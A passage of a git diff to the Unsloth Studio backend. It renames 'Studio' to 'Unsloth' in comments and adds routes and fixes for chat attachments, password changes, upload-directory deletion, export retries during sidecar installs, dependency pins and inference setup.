@@ -64,7 +64,7 @@ sleeps until reset when the budget drops below a safety threshold.
 
 ## Install
 
-Shipped as a default Studio plugin. For development:
+Shipped as a default Unsloth plugin. For development:
 
 ```bash
 pip install -e .
diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/__init__.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/__init__.py
index 62ecb2e280..d4d46da370 100644
--- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/__init__.py
+++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/__init__.py
@@ -3,4 +3,4 @@
 
 # Intentionally empty. Data-designer loads submodules lazily via qualified names
 # in plugin.py, so importing this package must not touch data_designer.engine.*
-# during Studio bootstrap (circular import).
+# during Unsloth bootstrap (circular import).
diff --git a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py
index 637193e8b3..1af8133cc5 100644
--- a/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py
+++ b/studio/backend/plugins/data-designer-github-repo-seed/src/data_designer_github_repo_seed/scraper.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Multi-repo GitHub scraper for the Studio seed plugin.
+"""Multi-repo GitHub scraper for the Unsloth seed plugin.
 
 Drives the GraphQL scraper in `scraper_impl/` per repo, capped via trial_limits
 to stop at `limit` items per resource. Then reads the per-resource JSONL shards
diff --git a/studio/backend/requirements/extras-no-deps.txt b/studio/backend/requirements/extras-no-deps.txt
index 5830a47789..3361af50dd 100644
--- a/studio/backend/requirements/extras-no-deps.txt
+++ b/studio/backend/requirements/extras-no-deps.txt
@@ -5,7 +5,7 @@ julius
 torchcodec==0.10.0
 snac
 
-# peft 0.19.0 causes export subprocess shutdown issues in Studio;
+# peft 0.19.0 causes export subprocess shutdown issues in Unsloth;
 # installing with --no-deps to avoid pulling in torch>=0.11.0
 peft==0.18.1
 
diff --git a/studio/backend/requirements/extras.txt b/studio/backend/requirements/extras.txt
index 1baf2b6f2d..1601ccbfae 100644
--- a/studio/backend/requirements/extras.txt
+++ b/studio/backend/requirements/extras.txt
@@ -10,6 +10,7 @@ omegaconf
 einx
 pyloudnorm
 openai-whisper
+av                               # PyAV: decode dictation audio (webm/opus/mp3/…) for the Whisper STT sidecar
 uroman                           # 4.0 MB - used for Outetts.
 MeCab                            # 19.9 MB - used for Outetts.
 inflect                          # number-to-words, required by OuteTTS
diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt
index de321f80ed..847e89823b 100644
--- a/studio/backend/requirements/no-torch-runtime.txt
+++ b/studio/backend/requirements/no-torch-runtime.txt
@@ -7,7 +7,7 @@
 # (current PyPI metadata still declares torch as a hard dep).
 
 # unsloth direct deps (from pyproject.toml [project].dependencies)
-typer
+typer>=0.12.0
 # typer's full runtime dep tree. Required explicitly because this
 # file is installed with --no-deps. On Linux/Mac CI runners these
 # are often cached transitively; on a fresh windows-latest venv they
@@ -70,7 +70,7 @@ cut_cross_entropy
 pillow
 
 # RAG store + document parsing, mirroring studio.txt. Pinned here because
-# this file installs --no-deps; without them Studio runs with RAG disabled.
+# this file installs --no-deps; without them Unsloth runs with RAG disabled.
 sqlite-vec==0.1.9
 pymupdf==1.27.2.3
 # 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt
index 0ed2bf8b26..0a5619924a 100644
--- a/studio/backend/requirements/single-env/constraints.txt
+++ b/studio/backend/requirements/single-env/constraints.txt
@@ -4,7 +4,7 @@ transformers==4.57.6
 trl==0.23.1
 huggingface-hub==0.36.2
 
-# Studio stack
+# Unsloth stack
 datasets==4.3.0
 pyarrow==23.0.1
 
diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index 56b948644f..43f37b3183 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -10,3 +10,9 @@ transformers>=4.57.6
 # anyio that also ImportErrors on TaskHandle and 500s the server. An override
 # wins the fight, so force one consistent <4.14 here too.
 anyio<4.14.0
+
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so those checkpoints fail to load. mlx-lm #1242.
+# The override also drops it from transitive resolution; keep the >=0.22.0 floor
+# (mirrors mlx_repair.py _MLX_MIN_VERSIONS) or the resolver could go below it.
+mlx-lm>=0.22.0,!=0.31.3
diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt
index 6f4a5c3292..0c7503a5ca 100644
--- a/studio/backend/requirements/studio.txt
+++ b/studio/backend/requirements/studio.txt
@@ -1,4 +1,4 @@
-# Studio UI backend dependencies
+# Unsloth UI backend dependencies
 typer
 fastapi
 uvicorn
@@ -9,7 +9,7 @@ pandas
 nest_asyncio
 datasets==4.3.0
 pyjwt
-# gradio>=4.0.0                  # 148 MB - Studio uses React + FastAPI, not Gradio
+# gradio>=4.0.0                  # 148 MB - Unsloth uses React + FastAPI, not Gradio
 huggingface-hub==0.36.2
 structlog>=24.1.0
 diceware
diff --git a/studio/backend/routes/auth.py b/studio/backend/routes/auth.py
index 92ecdbfb5b..1acc48e3a3 100644
--- a/studio/backend/routes/auth.py
+++ b/studio/backend/routes/auth.py
@@ -338,11 +338,11 @@ def _clear_login_bucket(key: tuple[str, str]) -> None:
 # so FastAPI runs it in the threadpool rather than blocking the event loop.
 @router.get("/identity")
 def identity(nonce: str, request: Request) -> dict:
-    """Challenge-response proof this is the real local Studio: caller sends a nonce,
+    """Challenge-response proof this is the real local Unsloth: caller sends a nonce,
     gets HMAC(install identity secret, nonce, connection address + port).
     Unauthenticated and side-effect free; a process that can't read the same-user
     secret can't forge a proof, and binding to the address/port the connection
-    landed on stops a squatter relaying a proof from the real Studio elsewhere."""
+    landed on stops a squatter relaying a proof from the real Unsloth elsewhere."""
     try:
         raw = base64.urlsafe_b64decode(nonce)
     except Exception:
@@ -494,14 +494,20 @@ async def change_password(
             status_code = status.HTTP_401_UNAUTHORIZED,
             detail = "Current password is incorrect",
         )
+    if any(ch.isspace() for ch in payload.new_password):
+        raise HTTPException(
+            status_code = status.HTTP_400_BAD_REQUEST,
+            detail = "New password cannot contain spaces",
+        )
     if payload.current_password == payload.new_password:
         raise HTTPException(
             status_code = status.HTTP_400_BAD_REQUEST,
             detail = "New password must be different from the current password",
         )
 
-    storage.update_password(current_subject, payload.new_password)
-    storage.revoke_user_refresh_tokens(current_subject)
+    # Single transaction: a separate refresh-token purge could fail after the
+    # password commit, leaving pre-change tokens able to mint access tokens.
+    storage.update_password(current_subject, payload.new_password, revoke_refresh_tokens = True)
     try:
         request.app.state.bootstrap_password = None
     except AttributeError:
diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 2c87ce8c6e..24b6dfb36d 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -5,7 +5,7 @@
 Chat history API routes backed by studio.db.
 """
 
-from typing import Any, Literal, Optional
+from typing import Annotated, Any, Literal, Optional
 
 from fastapi import APIRouter, Depends, HTTPException, Query
 from pydantic import BaseModel, ConfigDict, Field, ValidationError
@@ -19,13 +19,16 @@ from storage.studio_db import (
     clear_chat_history,
     count_chat_threads,
     count_forks_for_message,
+    delete_chat_attachment,
     delete_chat_threads,
     delete_chat_project,
     ensure_chat_project_workspace,
     fork_chat_thread,
+    get_chat_attachment,
     get_chat_project,
     get_chat_thread,
     get_chat_message,
+    list_chat_attachments_page,
     list_chat_projects,
     list_chat_legacy_imports,
     list_chat_settings,
@@ -56,6 +59,7 @@ class ChatThread(BaseModel):
     projectId: Optional[str] = None
     archived: bool = False
     createdAt: int
+    updatedAt: Optional[int] = None
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
     forkedFromThreadId: Optional[str] = None
@@ -70,6 +74,7 @@ class ChatThreadPatch(BaseModel):
     projectId: Optional[str] = None
     archived: Optional[bool] = None
     createdAt: Optional[int] = None
+    updatedAt: Optional[int] = None
     openaiCodeExecContainerId: Optional[str] = None
     anthropicCodeExecContainerId: Optional[str] = None
 
@@ -177,6 +182,7 @@ class ChatSettingsPayload(BaseModel):
     collapseHtmlArtifacts: Optional[bool] = None
     allowArtifactNetworkAccess: Optional[bool] = None
     autoHealToolCalls: Optional[bool] = None
+    nudgeToolCalls: Optional[bool] = None
     maxToolCallsPerMessage: Optional[int] = Field(default = None, ge = 1)
     toolCallTimeout: Optional[int] = Field(default = None, ge = 1)
 
@@ -251,7 +257,7 @@ async def patch_thread(
     current_subject: str = Depends(get_current_subject),
 ):
     patch = payload.model_dump(exclude_unset = True)
-    for field in ("title", "modelType", "modelId", "archived", "createdAt"):
+    for field in ("title", "modelType", "modelId", "archived", "createdAt", "updatedAt"):
         if field in patch and patch[field] is None:
             raise HTTPException(status_code = 400, detail = f"{field} cannot be null")
     if patch.get("projectId") and get_chat_project(patch["projectId"]) is None:
@@ -276,6 +282,131 @@ async def delete_threads(
     return {"status": "deleted"}
 
 
+@router.get("/attachments")
+def list_attachments(
+    limit: Annotated[int, Query(ge = 1, le = 100)] = 50,
+    offset: Annotated[int, Query(ge = 0)] = 0,
+    current_subject: str = Depends(get_current_subject),
+) -> dict:
+    """One bounded page of chat uploads for the settings Data tab."""
+    attachments, next_offset = list_chat_attachments_page(limit = limit, offset = offset)
+    return {"attachments": attachments, "nextOffset": next_offset}
+
+
+def _decode_attachment_base64(payload: str) -> bytes:
+    """Strict base64 decode of a stored payload.
+
+    Normalizes first: strips whitespace, fixes padding, accepts the URL-safe
+    alphabet. validate=False would silently drop bad characters and serve
+    corrupted bytes instead of failing, so raise 422 on anything else.
+    """
+    import base64
+
+    normalized = "".join(payload.split())
+    altchars = b"-_" if ("-" in normalized or "_" in normalized) else None
+    normalized += "=" * (-len(normalized) % 4)
+    try:
+        return base64.b64decode(normalized, altchars = altchars, validate = True)
+    except Exception as exc:  # noqa: BLE001 - corrupt stored payload
+        raise HTTPException(status_code = 422, detail = "Attachment data is corrupt") from exc
+
+
+_AUDIO_FORMAT_MEDIA_TYPES = {
+    "mp3": "audio/mpeg",
+    "wav": "audio/wav",
+    "ogg": "audio/ogg",
+    "flac": "audio/flac",
+}
+
+
+def _safe_image_media_type(media_type: str) -> str:
+    """Clamp a data-URL media type to something inert to render.
+
+    Imported chats store image parts verbatim, so the embedded type can be
+    text/html or image/svg+xml; echoing those would execute markup with the
+    app origin when opened. Anything not a plain raster type downloads as
+    bytes instead.
+    """
+    lowered = media_type.strip().lower()
+    if lowered.startswith("image/") and lowered != "image/svg+xml":
+        return lowered
+    return "application/octet-stream"
+
+
+@router.get("/attachments/{message_id}/{attachment_id}/file")
+def get_attachment_file(
+    message_id: str,
+    attachment_id: str,
+    current_subject: str = Depends(get_current_subject),
+):
+    """Serve one attachment's stored content: image or audio bytes, or
+    extracted text."""
+    import urllib.parse
+
+    from fastapi.responses import Response
+
+    attachment = get_chat_attachment(message_id, attachment_id)
+    if attachment is None:
+        raise HTTPException(status_code = 404, detail = "Attachment not found")
+
+    attachment_content_type = attachment.get("contentType")
+    texts: list[str] = []
+    for part in attachment.get("content") or []:
+        if not isinstance(part, dict):
+            continue
+        image = part.get("image")
+        if isinstance(image, str) and image[:5].lower() == "data:":
+            header, _, payload = image.partition(",")
+            media_type = _safe_image_media_type(
+                header[5:].split(";", 1)[0] or "application/octet-stream"
+            )
+            if "base64" not in header.lower():
+                # RFC 2397 non-base64 form stores percent-encoded bytes.
+                data = urllib.parse.unquote_to_bytes(payload)
+                return Response(content = data, media_type = media_type)
+            data = _decode_attachment_base64(payload)
+            return Response(content = data, media_type = media_type)
+        # Audio parts: the attachment adapter stores {data, format} with raw
+        # base64; compare chats store a bare base64 string.
+        audio = part.get("audio")
+        if isinstance(audio, dict) or (isinstance(audio, str) and audio):
+            if isinstance(audio, dict):
+                payload = audio.get("data")
+                audio_format = audio.get("format")
+            else:
+                payload = audio.rsplit(",", 1)[-1]
+                audio_format = None
+            if isinstance(payload, str) and payload:
+                data = _decode_attachment_base64(payload)
+                media_type = (
+                    attachment_content_type
+                    if isinstance(attachment_content_type, str)
+                    and attachment_content_type.startswith("audio/")
+                    else _AUDIO_FORMAT_MEDIA_TYPES.get(
+                        str(audio_format or "").lower(), "application/octet-stream"
+                    )
+                )
+                return Response(content = data, media_type = media_type)
+        text = part.get("text")
+        if isinstance(text, str) and text:
+            texts.append(text)
+    if texts:
+        return Response(content = "\n".join(texts), media_type = "text/plain; charset=utf-8")
+    raise HTTPException(status_code = 404, detail = "Attachment has no stored content")
+
+
+@router.delete("/attachments/{message_id}/{attachment_id}")
+def delete_attachment(
+    message_id: str,
+    attachment_id: str,
+    current_subject: str = Depends(get_current_subject),
+) -> dict:
+    """Remove one attachment from its chat message."""
+    if not delete_chat_attachment(message_id, attachment_id):
+        raise HTTPException(status_code = 404, detail = "Attachment not found")
+    return {"ok": True}
+
+
 @router.get("/projects", response_model = ChatProjectListResponse)
 async def list_projects(
     include_archived: bool = Query(False), current_subject: str = Depends(get_current_subject)
@@ -406,7 +537,7 @@ async def get_thread_message(
 
 
 @router.put("/threads/{thread_id}/messages/{message_id}", response_model = ChatMessage)
-async def save_thread_message(
+def save_thread_message(
     thread_id: str,
     message_id: str,
     payload: ChatMessage,
@@ -429,7 +560,7 @@ async def save_thread_message(
 
 
 @router.put("/threads/{thread_id}/messages", response_model = ChatMessageListResponse)
-async def replace_thread_messages(
+def replace_thread_messages(
     thread_id: str,
     payload: ChatMessageSyncRequest,
     current_subject: str = Depends(get_current_subject),
diff --git a/studio/backend/routes/data_recipe/jobs.py b/studio/backend/routes/data_recipe/jobs.py
index 59714380da..e870e8855e 100644
--- a/studio/backend/routes/data_recipe/jobs.py
+++ b/studio/backend/routes/data_recipe/jobs.py
@@ -37,7 +37,7 @@ def _resolve_local_v1_endpoint(request: Request) -> str:
 
     Resolution order:
       1. ``app.state.server_port`` (run.py, post-bind) - survives proxies/tunnels.
-      2. ``request.scope["server"]`` - when Studio starts outside ``run_server``.
+      2. ``request.scope["server"]`` - when Unsloth starts outside ``run_server``.
       3. parsed ``request.base_url`` - last resort for test fixtures.
     """
     port: Any = getattr(request.app.state, "server_port", None)
diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py
index 57a291291e..a5b75b7335 100644
--- a/studio/backend/routes/data_recipe/seed.py
+++ b/studio/backend/routes/data_recipe/seed.py
@@ -10,6 +10,7 @@ import binascii
 import json
 import os
 import re
+import shutil
 from itertools import islice
 from pathlib import Path
 from typing import Any
@@ -59,6 +60,9 @@ UNSTRUCTURED_ALLOWED_EXTS = {".pdf", ".docx", ".txt", ".md"}
 SEED_UPLOAD_DIR = seed_uploads_root()
 UNSTRUCTURED_UPLOAD_ROOT = unstructured_uploads_root()
 _SAFE_ID_RE = re.compile(r"^[a-zA-Z0-9_-]+$")
+# Frontend-generated upload namespace (UUID4 hex). Legacy node ids (n1, ...)
+# never match: those directories can be shared by several recipes.
+_UPLOAD_UID_RE = re.compile(r"^[0-9a-f]{32}$")
 
 
 def _validate_safe_id(value: str, label: str) -> str:
@@ -580,6 +584,39 @@ async def remove_unstructured_file(block_id: str, file_id: str):
     return {"status": "ok"}
 
 
+@router.delete("/seed/unstructured-block/{block_id}")
+async def remove_unstructured_block(block_id: str):
+    """Delete a block's upload directory; files on disk still count toward its quota.
+
+    Only uid-namespaced directories may be bulk-deleted: they have exactly one
+    owning block. Legacy node-id directories (n1, ...) can be shared by other
+    recipes, so they are managed file-by-file instead.
+    """
+    _validate_safe_id(block_id, "block_id")
+    if not _UPLOAD_UID_RE.match(block_id):
+        raise HTTPException(400, "Invalid block_id: only uid-namespaced blocks can be deleted")
+
+    block_dir = (UNSTRUCTURED_UPLOAD_ROOT / block_id).resolve()
+    if not block_dir.is_relative_to(UNSTRUCTURED_UPLOAD_ROOT.resolve()):
+        raise HTTPException(400, "Invalid block_id: outside upload root")
+    if not block_dir.exists():
+        return {"status": "ok", "deleted": False}
+
+    try:
+        shutil.rmtree(block_dir)
+    except OSError as exc:
+        raise log_and_http_error(
+            exc,
+            500,
+            "failed to delete uploaded files",
+            event = "data_recipe.seed.unstructured_block_delete_failed",
+            log = logger,
+        ) from exc
+    if block_dir.exists():
+        raise HTTPException(500, "failed to delete uploaded files")
+    return {"status": "ok", "deleted": True}
+
+
 @router.post("/seed/inspect-upload", response_model = SeedInspectResponse)
 def inspect_seed_upload(payload: SeedInspectUploadRequest) -> SeedInspectResponse:
     if payload.file_ids is not None:
diff --git a/studio/backend/routes/datasets.py b/studio/backend/routes/datasets.py
index 46319ca2ba..331eb5e1e0 100644
--- a/studio/backend/routes/datasets.py
+++ b/studio/backend/routes/datasets.py
@@ -23,40 +23,6 @@ def _is_valid_repo_id(repo_id: str) -> bool:
     return bool(_VALID_REPO_ID.fullmatch(repo_id))
 
 
-_dataset_size_cache: dict[str, int] = {}
-
-
-def _get_dataset_size_cached(repo_id: str) -> int:
-    if repo_id in _dataset_size_cache:
-        return _dataset_size_cache[repo_id]
-    try:
-        from huggingface_hub import dataset_info as hf_dataset_info
-
-        info = hf_dataset_info(repo_id, token = None, files_metadata = True)
-        total = sum(s.size for s in info.siblings if getattr(s, "size", None))
-        _dataset_size_cache[repo_id] = total
-        return total
-    except Exception:
-        return 0
-
-
-def _resolve_hf_cache_realpath(repo_dir: Path) -> Optional[str]:
-    """Resolved realpath for a HF cache repo dir: most-recent snapshot, else cache root.
-
-    Mirrors routes/models.py; duplicated here to keep this module self-contained.
-    """
-    try:
-        snapshots_dir = repo_dir / "snapshots"
-        if snapshots_dir.is_dir():
-            snaps = [s for s in snapshots_dir.iterdir() if s.is_dir()]
-            if snaps:
-                latest = max(snaps, key = lambda s: s.stat().st_mtime)
-                return str(latest.resolve())
-        return str(repo_dir.resolve())
-    except Exception:
-        return None
-
-
 backend_path = Path(__file__).parent.parent.parent
 if str(backend_path) not in sys.path:
     sys.path.insert(0, str(backend_path))
@@ -64,6 +30,7 @@ if str(backend_path) not in sys.path:
 from utils.datasets import check_dataset_format
 from utils.upload_limits import get_upload_limit_bytes, get_upload_limit_label
 from auth.authentication import get_current_subject
+from hub.dependencies import get_hf_token
 
 router = APIRouter()
 logger = get_logger(__name__)
@@ -292,11 +259,13 @@ def _download_hf_metadata(*, repo_id: str, repo_files: list[str], token: str | N
 
     try:
         from huggingface_hub import hf_hub_download
+        from utils.hf_cache_settings import active_hf_hub_cache
         local_path = hf_hub_download(
             repo_id = repo_id,
             filename = metadata_file,
             repo_type = "dataset",
             token = token,
+            cache_dir = active_hf_hub_cache(),
         )
     except Exception as exc:
         logger.warning(f"Could not read HF dataset metadata for {repo_id}: {exc}")
@@ -485,7 +454,7 @@ async def upload_dataset(
 
     # Stream to disk in chunks to avoid holding the whole file in memory. The
     # route-level cap gives a clear training-dataset error and avoids leaving
-    # oversized partial files in the Studio uploads directory.
+    # oversized partial files in the Unsloth uploads directory.
     upload_limit_bytes = get_upload_limit_bytes()
     total_bytes = 0
     upload_complete = False
@@ -525,77 +494,15 @@ def list_local_datasets(
 @router.get("/download-progress")
 async def get_dataset_download_progress(
     repo_id: str = Query(..., description = "HuggingFace dataset repo ID, e.g. 'unsloth/LaTeX_OCR'"),
+    hf_token: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    """Return download progress for a HuggingFace dataset repo.
-
-    Mirrors ``GET /api/models/download-progress`` but scans the
-    ``datasets--owner--name`` cache dir under HF_HUB_CACHE, where in-progress
-    download bytes are visible. Returns ``cache_path`` so the UI can show it.
-    """
-    _empty = {
-        "downloaded_bytes": 0,
-        "expected_bytes": 0,
-        "progress": 0,
-        "cache_path": None,
-    }
-    try:
-        if not _is_valid_repo_id(repo_id):
-            return _empty
-
-        from huggingface_hub import constants as hf_constants
-
-        cache_dir = Path(hf_constants.HF_HUB_CACHE)
-        target = f"datasets--{repo_id.replace('/', '--')}".lower()
-        completed_bytes = 0
-        in_progress_bytes = 0
-        cache_path: Optional[str] = None
-
-        if cache_dir.is_dir():
-            for entry in cache_dir.iterdir():
-                if entry.name.lower() != target:
-                    continue
-                cache_path = _resolve_hf_cache_realpath(entry)
-                blobs_dir = entry / "blobs"
-                if not blobs_dir.is_dir():
-                    break
-                for f in blobs_dir.iterdir():
-                    if not f.is_file():
-                        continue
-                    if f.name.endswith(".incomplete"):
-                        in_progress_bytes += f.stat().st_size
-                    else:
-                        completed_bytes += f.stat().st_size
-                break
-
-        downloaded_bytes = completed_bytes + in_progress_bytes
-        if downloaded_bytes == 0:
-            return {**_empty, "cache_path": cache_path}
-
-        expected_bytes = _get_dataset_size_cached(repo_id)
-        if expected_bytes <= 0:
-            return {
-                "downloaded_bytes": downloaded_bytes,
-                "expected_bytes": 0,
-                "progress": 0,
-                "cache_path": cache_path,
-            }
-
-        # 95% threshold (as in the model endpoint): HF blob dedup makes
-        # completed_bytes drift under expected_bytes; inter-file gaps look "done".
-        if completed_bytes >= expected_bytes * 0.95:
-            progress = 1.0
-        else:
-            progress = min(downloaded_bytes / expected_bytes, 0.99)
-        return {
-            "downloaded_bytes": downloaded_bytes,
-            "expected_bytes": expected_bytes,
-            "progress": round(progress, 3),
-            "cache_path": cache_path,
-        }
-    except Exception as e:
-        logger.warning(f"Error checking dataset download progress for {repo_id}: {e}")
-        return _empty
+    """Compatibility route backed by the shared multi-cache progress service."""
+    from hub.services.datasets import downloads
+    return await downloads.get_dataset_download_progress_response(
+        repo_id,
+        hf_token = hf_token,
+    )
 
 
 @router.post("/check-format", response_model = CheckFormatResponse)
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index a7fd7cbec7..d44e2ac021 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -51,7 +51,17 @@ def _ensure_export_supported() -> None:
 
     Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints
     (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason.
+    Also refuses (409) while a latest-transformers install is swapping .venv_t5_latest: an
+    export worker spawned mid-swap could activate a half-replaced sidecar.
     """
+    from utils.transformers_latest import is_install_in_progress
+
+    if is_install_in_progress():
+        raise HTTPException(
+            status_code = 409,
+            detail = "A transformers installation is in progress. Retry when it completes.",
+        )
+
     from utils.hardware import export_capability
 
     cap = export_capability()
@@ -97,6 +107,11 @@ async def load_checkpoint(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error loading checkpoint: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -308,6 +323,11 @@ async def export_merged_model(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting merged model: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -347,6 +367,11 @@ async def export_base_model(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting base model: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -388,6 +413,11 @@ async def export_gguf(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting GGUF model: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
@@ -428,6 +458,11 @@ async def export_lora_adapter(
     except HTTPException:
         raise
     except Exception as e:
+        from utils.transformers_version import SidecarSwapInProgress
+
+        if isinstance(e, SidecarSwapInProgress):
+            # Expected loss of the race against a sidecar install: retryable 409.
+            raise HTTPException(status_code = 409, detail = str(e))
         logger.error(f"Error exporting LoRA adapter: {e}", exc_info = True)
         raise HTTPException(
             status_code = 500,
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 17be222d93..b6bbbdfb5f 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -13,13 +13,14 @@ from pathlib import Path
 from fastapi import APIRouter, Depends, HTTPException, Request, status
 from fastapi.responses import StreamingResponse, JSONResponse, Response
 from starlette.requests import ClientDisconnect
-from typing import Any, List, Optional, Union
+from typing import Any, Callable, List, Literal, Optional, Union
 import json
 import httpx
 from loggers import get_logger
 import asyncio
 import threading
 import weakref
+from contextlib import ExitStack
 
 
 import re as _re
@@ -28,6 +29,19 @@ import re as _re
 from utils.models import extract_model_size_b as _extract_model_size_b
 
 from utils.api_errors import openai_error_body, anthropic_error_body
+from utils.upload_limits import STT_AUDIO_B64_MAX_CHARS, STT_AUDIO_RAW_MAX_BYTES
+from hub.dependencies import get_hf_token
+from core.inference.orchestrator import GenStreamError, GenStreamErrorRaised
+from core.inference.llama_admission import (
+    LlamaAdmissionCancelled,
+    LlamaAdmissionConfig,
+    LlamaAdmissionLease,
+    LlamaAdmissionQueueFull,
+    LlamaAdmissionReservation,
+    LlamaAdmissionTimeout,
+    get_llama_admission_queue,
+    llama_admission_config_from_env,
+)
 
 
 def _positive_int_or_none(value: Any) -> Optional[int]:
@@ -40,10 +54,47 @@ def _positive_int_or_none(value: Any) -> Optional[int]:
     return value_int if value_int > 0 else None
 
 
+def _nonnegative_int_or_none(value: Any) -> Optional[int]:
+    if isinstance(value, bool):
+        return None
+    try:
+        value_int = int(value)
+    except (TypeError, ValueError):
+        return None
+    return value_int if value_int >= 0 else None
+
+
+_MLX_MPI_DISTRIBUTED_ENV_PAIRS = (
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+)
+
+
+def _mlx_distributed_launch_detected() -> bool:
+    if _nonnegative_int_or_none(os.environ.get("MLX_RANK")) is not None:
+        world_size = _positive_int_or_none(os.environ.get("MLX_WORLD_SIZE"))
+        if world_size is not None and world_size > 1:
+            return True
+        return bool(
+            os.environ.get("MLX_HOSTFILE")
+            or os.environ.get("MLX_IBV_DEVICES")
+            or os.environ.get("MLX_JACCL_COORDINATOR")
+            or (os.environ.get("NCCL_HOST_IP") and os.environ.get("NCCL_PORT"))
+        )
+    return any(
+        _nonnegative_int_or_none(os.environ.get(rank_env)) is not None
+        and (_positive_int_or_none(os.environ.get(size_env)) or 0) > 1
+        for rank_env, size_env in _MLX_MPI_DISTRIBUTED_ENV_PAIRS
+    )
+
+
 def _install_httpcore_asyncgen_silencer() -> None:
     """Silence benign httpx/httpcore asyncgen GC noise on Python 3.13.
 
-    When Studio proxies a llama-server stream via httpx, the innermost
+    When Unsloth proxies a llama-server stream via httpx, the innermost
     ``HTTP11ConnectionByteStream.__aiter__`` async generator is finalised by
     the asyncgen GC hook on a task different from the one that opened it. Its
     ``aclose`` calls ``anyio.Lock.acquire`` → ``cancel_shielded_checkpoint``,
@@ -165,6 +216,14 @@ def _friendly_error(exc: Exception) -> str:
     return "An internal error occurred"
 
 
+def _friendly_gen_stream_error(value) -> str:
+    """Return a client-safe message for typed local generation errors."""
+    text = str(value)
+    if getattr(value, "public", False):
+        return text
+    return safe_error_detail(RuntimeError(text), fallback = "An internal error occurred.")
+
+
 def _friendly_upstream_error(text: str) -> str:
     """Rewrite a raw llama-server error body into an actionable message where we can.
 
@@ -172,14 +231,14 @@ def _friendly_upstream_error(text: str) -> str:
     parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as
     a hard 400 on every tool-bearing turn. It is a llama-server limitation with some
     model/quant + tool-schema combinations, and recent llama.cpp builds handle the common
-    coding-agent tools, so point the user at updating Studio rather than the raw body.
+    coding-agent tools, so point the user at updating Unsloth rather than the raw body.
     """
     lowered = text.lower()
     if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered:
         return (
             "The model couldn't compile a tool-calling grammar for this request. This is a "
             "llama-server limitation with some model/quant and tool-schema combinations. "
-            "Update Studio (it installs the latest llama.cpp, which handles the common "
+            "Update Unsloth (it installs the latest llama.cpp, which handles the common "
             "coding-agent tools) or try a different GGUF model."
         )
     return f"llama-server error: {text}"
@@ -231,10 +290,87 @@ def _effective_max_tokens(payload):
     )
 
 
+_OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT"
+
+
+def _positive_float_env(env_name: str, default):
+    """Parse a positive float from an env var. A parseable non-positive value
+    returns ``None`` (0 disables the guarded feature); only unparseable or unset
+    values fall back to ``default``."""
+    raw_value = os.environ.get(env_name)
